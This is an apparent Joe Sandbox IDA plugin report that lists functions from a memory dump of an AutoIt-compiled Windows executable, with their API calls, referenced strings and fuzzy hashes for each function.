Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: ad9eb968f4d2c3e03df7ca4835b04fcabf3d19d78a7f5266714c1c1ebd5094c9
Instruction ID: 3af10999165d3c4369e10c078ec488f4308bedfb5ad2a99fd9bc548911739a52
Opcode Fuzzy Hash: ad9eb968f4d2c3e03df7ca4835b04fcabf3d19d78a7f5266714c1c1ebd5094c9
Instruction Fuzzy Hash: A571F371400206DFCF21AF64D984AFA7BB1FF4A368F14626AED5D7A1A6D3318841DF50

Function 00EB359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00EB35E4

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

LoadStringW.USER32(00F12390,?,00000FFF,?), ref: 00EB360A

Strings

Error: , xrefs: 00EB36EF
"%s" (%d) : ==> %s:, xrefs: 00EB3742
Line %d (File "%s"):, xrefs: 00EB366B
^ ERROR, xrefs: 00EB36C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00EB3724

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: f94a393468cf298b46d49bdcb374926ecafdedfd1f8a5570ad2780746c09d554
Instruction ID: 062f3bf06dacd8b8dbb4651591184ac011de47535affbf2acf854f7c22fb30d0
Opcode Fuzzy Hash: f94a393468cf298b46d49bdcb374926ecafdedfd1f8a5570ad2780746c09d554
Instruction Fuzzy Hash: 5F517171D00219BADF15EBA0EC42EEEBBB4EF04304F146125F51572192DB316B99DFA1

Function 00ED8B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

Part of subcall function 00E5912D: GetCursorPos.USER32(?), ref: 00E59141
Part of subcall function 00E5912D: ScreenToClient.USER32(00000000,?), ref: 00E5915E
Part of subcall function 00E5912D: GetAsyncKeyState.USER32(00000001), ref: 00E59183
Part of subcall function 00E5912D: GetAsyncKeyState.USER32(00000002), ref: 00E5919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00ED8B6B
ImageList_EndDrag.COMCTL32 ref: 00ED8B71
ReleaseCapture.USER32 ref: 00ED8B77
SetWindowTextW.USER32(?,00000000), ref: 00ED8C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00ED8C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00ED8CFF

Strings

@GUI_DRAGFILE, xrefs: 00ED8C9A
@GUI_DROPID, xrefs: 00ED8C51

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 5abbb0803b96d804cd684768196d9ade93778d6fc083d8aa90bcce8ef8572e6d
Instruction ID: a169a562c1efb29a4ca07d099ee420b6cc4e5d740f2ed2207c0960e94d552e00
Opcode Fuzzy Hash: 5abbb0803b96d804cd684768196d9ade93778d6fc083d8aa90bcce8ef8572e6d
Instruction Fuzzy Hash: 5451BD70205304AFD714DF14ED56FAAB7E4FB88754F50162EFA52A72E2CB709908CB62

Function 00EBC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00EBC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EBC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00EBC2CA
GetLastError.KERNEL32 ref: 00EBC322
SetEvent.KERNEL32(?), ref: 00EBC336
InternetCloseHandle.WININET(00000000), ref: 00EBC341

Strings

, xrefs: 00EBC2BB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 9014e2d29b3639eae70fa05e23f8fbe997609ae97b66f551bc5af3af50d66ebe
Instruction ID: 60db359300a64e65523e288ee972d3946d387bf5b4953c92321809d92e7aae95
Opcode Fuzzy Hash: 9014e2d29b3639eae70fa05e23f8fbe997609ae97b66f551bc5af3af50d66ebe
Instruction Fuzzy Hash: 17319171608608AFD7219F659C84AEB7BFCEB49784B64951EF486F2210DB34DD058B60

Function 00EA989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00E83AAF,?,?,Bad directive syntax error,00EDCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00EA98BC
LoadStringW.USER32(00000000,?,00E83AAF,?), ref: 00EA98C3

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00EA9987

Strings

., xrefs: 00EA996D
Line %d (File "%s"):, xrefs: 00EA992D
Line %d:, xrefs: 00EA9912
%s (%d) : ==> %s.: %s %s, xrefs: 00EA98F1
Error: , xrefs: 00EA9955

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: d3ba866c33aec441cb43705e14ce2e790514772ad6e8c0f1ab1bcb98205c5db6
Instruction ID: 2576b4bc77724f5333dc225012532664db0eb139bac5c52413cf6227ebac7a06
Opcode Fuzzy Hash: d3ba866c33aec441cb43705e14ce2e790514772ad6e8c0f1ab1bcb98205c5db6
Instruction Fuzzy Hash: 90216F3290021AABDF15EF90DC0AEEE77B5FF18300F045466F515760A2DA31A628EB51

Function 00EA209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00EA20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00EA20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00EA214D

Strings

SHELLDLL_DefView, xrefs: 00EA20CC
list, xrefs: 00EA212F
details, xrefs: 00EA20FB
largeicons, xrefs: 00EA20E1
smallicons, xrefs: 00EA2115

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 1abe62878f475493a2e02de6b2e0fdfc191c28f6f7b68ae1485886910dec67d7
Instruction ID: 36a9a6f159d9abd93355379aa3cdaef99d2f7e2064395906c36239dd5401f912
Opcode Fuzzy Hash: 1abe62878f475493a2e02de6b2e0fdfc191c28f6f7b68ae1485886910dec67d7
Instruction Fuzzy Hash: 2C11EBB66C570779FA012224AC06DE737DCCB1A754B20211AF704B90D1FAA1B8416915

Function 00E7CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00E7CEB7
_free.LIBCMT ref: 00E7CF22
_free.LIBCMT ref: 00E7CF48
_free.LIBCMT ref: 00E7CF71
_free.LIBCMT ref: 00E7CFA9
_free.LIBCMT ref: 00E7CFDA
_free.LIBCMT ref: 00E7D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00E7D09C
_free.LIBCMT ref: 00E7D0B5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 8f1f9d4e445c27512ab5b532dd1f1fef2aa9f909895fcd1803ae530f11c194a2
Instruction ID: f3aa07bc893811c36776752ab7f8dbffbb93a8711fb6d340c72557a0443d79de
Opcode Fuzzy Hash: 8f1f9d4e445c27512ab5b532dd1f1fef2aa9f909895fcd1803ae530f11c194a2
Instruction Fuzzy Hash: 36616C71A043046FDB29AFB4AC41AAD7BE9EF05314F24E16EFA4CB7281DB319D418750

Function 00E58B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00E96890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00E968A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00E968B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00E968D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00E968F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00E58874,00000000,00000000,00000000,000000FF,00000000), ref: 00E96901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00E9691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00E58874,00000000,00000000,00000000,000000FF,00000000), ref: 00E9692D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: ebe2255d40106ef29fda36e1941c4b52d65deadb87561bf40e69b4366d6419ba
Instruction ID: fe58c51601bd8a988c1cebdfa159795454045e249f7d7e831ea8421b01a003fc
Opcode Fuzzy Hash: ebe2255d40106ef29fda36e1941c4b52d65deadb87561bf40e69b4366d6419ba
Instruction Fuzzy Hash: BC519774600209EFDF208F25CC51BAA3BB9FB88765F105919F952B72A0DB70E984DB40

Function 00EBC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00EBC182
GetLastError.KERNEL32 ref: 00EBC195
SetEvent.KERNEL32(?), ref: 00EBC1A9

Part of subcall function 00EBC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00EBC272
Part of subcall function 00EBC253: GetLastError.KERNEL32 ref: 00EBC322
Part of subcall function 00EBC253: SetEvent.KERNEL32(?), ref: 00EBC336
Part of subcall function 00EBC253: InternetCloseHandle.WININET(00000000), ref: 00EBC341

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 3959f465c13e919dbf8e7c1975526f0207ae7eadfb636f95af5326793091074b
Instruction ID: e862237edf43b0c3de7e9b45e75631de607145237dcfd871e1dd27a5ea4e5cb0
Opcode Fuzzy Hash: 3959f465c13e919dbf8e7c1975526f0207ae7eadfb636f95af5326793091074b
Instruction Fuzzy Hash: B231AE71205A01EFDB219FB6ED04AA7BBF9FF58344B20541EF956E6620D730E814DBA0

Function 00EA25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00EA25B3), ref: 00EA3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00EA25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00EA25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00EA2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00EA2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00EA260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00EA2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00EA2627

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 2bf182d6245bb70e03e6ce09ed133e6146626363897b8b7c47a716743d6f2550
Instruction ID: d26dba73aca0b683351b03458e48d0f21d3b053076758dd1a06d3f1ffeb78840
Opcode Fuzzy Hash: 2bf182d6245bb70e03e6ce09ed133e6146626363897b8b7c47a716743d6f2550
Instruction Fuzzy Hash: E101D830791320BBFB1067699C8AF597F99DB4EB51F201006F314BF0D1C9E16444CA6A

Function 00EA1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00EA1449,?,?,00000000), ref: 00EA180C
HeapAlloc.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00EA1449,?,?,00000000), ref: 00EA1828
GetCurrentProcess.KERNEL32(?,00000000,?,00EA1449,?,?,00000000), ref: 00EA1830
DuplicateHandle.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00EA1449,?,?,00000000), ref: 00EA1843
GetCurrentProcess.KERNEL32(00EA1449,00000000,?,00EA1449,?,?,00000000), ref: 00EA184B
DuplicateHandle.KERNEL32(00000000,?,00EA1449,?,?,00000000), ref: 00EA184E
CreateThread.KERNEL32(00000000,00000000,00EA1874,00000000,00000000,00000000), ref: 00EA1868

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2ec8ea440af999fb76cddd360519d0aa03b6c25d66d9180e63d94c5733206564
Instruction ID: 5a47dc6ecb0c89f957f1d9940f7adec5a6182c998889f851c2630b9f5472a180
Opcode Fuzzy Hash: 2ec8ea440af999fb76cddd360519d0aa03b6c25d66d9180e63d94c5733206564
Instruction Fuzzy Hash: B701C275241315BFE710AF75EC4DF573B6CEB89B51F104451FA05EB192C6749804CB20

Function 00E73E80 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E73F0B
__alldvrm.LIBCMT ref: 00E7410C
__alldvrm.LIBCMT ref: 00E7412E

Strings

}}, xrefs: 00E73E8A
}}, xrefs: 00E73E96, 00E73EF1, 00E73F0A, 00E74090
}}, xrefs: 00E740CD

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: }}$}}$}}
API String ID: 1036877536-1495402609
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: a298016f6ce550ca3a3934011ff869a4d739e6678305edcb31cd6bcd499797a1
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 0EA179B1E003869FDB25DF28C8917AEBBE4EF61354F1491ADE59DAB2C1C3348981C751

Function 00ECA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00EAD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00EAD501
Part of subcall function 00EAD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00EAD50F
Part of subcall function 00EAD4DC: CloseHandle.KERNEL32(00000000), ref: 00EAD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00ECA16D
GetLastError.KERNEL32 ref: 00ECA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00ECA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00ECA268
GetLastError.KERNEL32(00000000), ref: 00ECA273
CloseHandle.KERNEL32(00000000), ref: 00ECA2C4

Strings

SeDebugPrivilege, xrefs: 00ECA18F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 38234d12fe0da88c22838343ac9e8352caab7bd98066251dc2faab371a039c30
Instruction ID: 876f00ea9c28dfab003b570519960227b1103a7c5e199e1af2a7d974ad0b3f20
Opcode Fuzzy Hash: 38234d12fe0da88c22838343ac9e8352caab7bd98066251dc2faab371a039c30
Instruction Fuzzy Hash: E261CE702092529FD724DF14D594F16BBE1AF4430CF18949CE466ABBA3C776EC4ACB82

Function 00ED3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00ED3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00ED393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00ED3954
_wcslen.LIBCMT ref: 00ED3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00ED39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00ED39F4

Strings

SysListView32, xrefs: 00ED38F7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: a5b90bddc5862a55a98c2f60c341889b455a1e93a94775dccbce30ad43ae9b4b
Instruction ID: cbda60ec0352c8dd25d9804208f83e348b2564014b7e3bd19de0612e0f19ebc8
Opcode Fuzzy Hash: a5b90bddc5862a55a98c2f60c341889b455a1e93a94775dccbce30ad43ae9b4b
Instruction Fuzzy Hash: 4D41FC31A00209ABEB219F64CC49BEA7BA9EF08354F101127F958F72C1D7B0DA81CB91

Function 00EABC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00EABCFD
IsMenu.USER32(00000000), ref: 00EABD1D
CreatePopupMenu.USER32 ref: 00EABD53
GetMenuItemCount.USER32(01406718), ref: 00EABDA4
InsertMenuItemW.USER32(01406718,?,00000001,00000030), ref: 00EABDCC

Strings

0, xrefs: 00EABCA8
2, xrefs: 00EABD37

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: b31b71c0d0b5035d76bdb83c510a7460d8dabd311d0ae8b5ad77363a1b0ba3b6
Instruction ID: dfb823da3c7afee7ccb9887285d651b024b7f33aa5556310720427865b4d91a8
Opcode Fuzzy Hash: b31b71c0d0b5035d76bdb83c510a7460d8dabd311d0ae8b5ad77363a1b0ba3b6
Instruction Fuzzy Hash: 21518D70A002059BDF10CFB9D884BAEBBF4AF4A358F24525AE411FF292D770A945CB61

